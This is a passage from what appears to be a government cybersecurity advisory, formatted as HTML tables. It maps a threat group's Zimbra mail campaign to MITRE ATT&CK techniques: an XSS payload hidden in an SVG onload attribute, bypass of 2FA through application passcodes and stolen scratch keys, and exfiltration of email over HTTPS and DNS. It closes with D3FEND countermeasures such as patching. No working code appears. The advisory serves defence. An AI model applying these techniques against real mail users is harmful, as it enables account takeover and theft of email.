<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
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</div>
